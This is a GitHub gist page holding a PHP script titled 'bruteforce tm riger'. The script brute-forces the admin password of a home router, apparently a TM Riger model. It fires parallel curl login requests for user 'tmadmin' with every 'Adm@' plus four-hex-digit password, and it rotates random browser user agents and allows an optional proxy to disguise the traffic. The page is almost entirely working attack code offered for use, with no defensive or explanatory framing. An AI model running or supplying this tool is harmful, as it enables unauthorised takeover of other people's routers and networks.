Skip to content

Instantly share code, notes, and snippets.

@mokhdzanifaeq
Last active November 13, 2015 09:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mokhdzanifaeq/c21ba04fc4de9c98e0ef to your computer and use it in GitHub Desktop.
Save mokhdzanifaeq/c21ba04fc4de9c98e0ef to your computer and use it in GitHub Desktop.
bruteforce tm riger
<?php
$ip = 'x.x.x.x';
$thread = 15;
$timeout = 10;
$proxy = false;
$start = 0x0;
$retry = 3;
$hex = array_map(function ($x) { return sprintf('%04X', $x); }, range($start, 0xffff) );
$index = 1;
echo "ip : {$ip}\n";
foreach (array_chunk($hex, $thread) as $chunk) {
$r = 0;
do {
if ($retry === $r++) die("\nerror: cannot connect to router\n");
$posts = array_map(function ($x) { return "LoginNameValue=tmadmin&LoginPasswordValue=Adm@{$x}"; }, $chunk);
$results = http_multi($posts);
foreach ($results as $i => $header) {
if ( $header && !empty($header) ) {
echo "\rstatus: " . $chunk[$i] . " (" . $index++ . "/65536)";
if (strpos($header, 'TM2Auth.htm') === false) {
// file_put_contents('header.txt', $header);
die("\npass: Adm@{$chunk[$i]}\n");
}
unset($chunk[$i]);
}
}
$chunk = array_values($chunk);
} while( !empty($chunk) );
}
// multi thread curl
function http_multi($posts) {
global $ip, $timeout, $proxy;
$url = "http://{$ip}/Forms/TM2Auth_1";
$options = array(
CURLOPT_HEADER => 1,
CURLOPT_TIMEOUT => $timeout,
CURLOPT_NOBODY => 1,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_FOLLOWLOCATION => 0,
CURLOPT_POST => 1,
CURLOPT_USERAGENT => random_ua()
);
if ($proxy) $options[CURLOPT_PROXY] = $proxy;
$multiCurl = curl_multi_init();
foreach($posts as $i => $post) {
$ch[$i] = curl_init($url);
$options[CURLOPT_POSTFIELDS] = $post;
curl_setopt_array($ch[$i], $options);
curl_multi_add_handle($multiCurl, $ch[$i]);
}
do {
curl_multi_exec($multiCurl, $active);
} while ($active > 0);
// get contents
foreach ($ch as $id => $connection) {
$data = curl_multi_getcontent($connection);
$arrData[$id] = $data;
}
// close connection
foreach ($ch as $id => $connection) {
curl_multi_remove_handle($multiCurl, $connection);
curl_close($connection);
}
curl_multi_close($multiCurl);
return (!empty($arrData) ? $arrData : false);
}
// generate random user agent
// top 20 at https://techblog.willshouse.com/2012/01/03/most-common-user-agents/
function random_ua() {
return array(
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0',
'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36'
)[mt_rand(0, 19)];
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment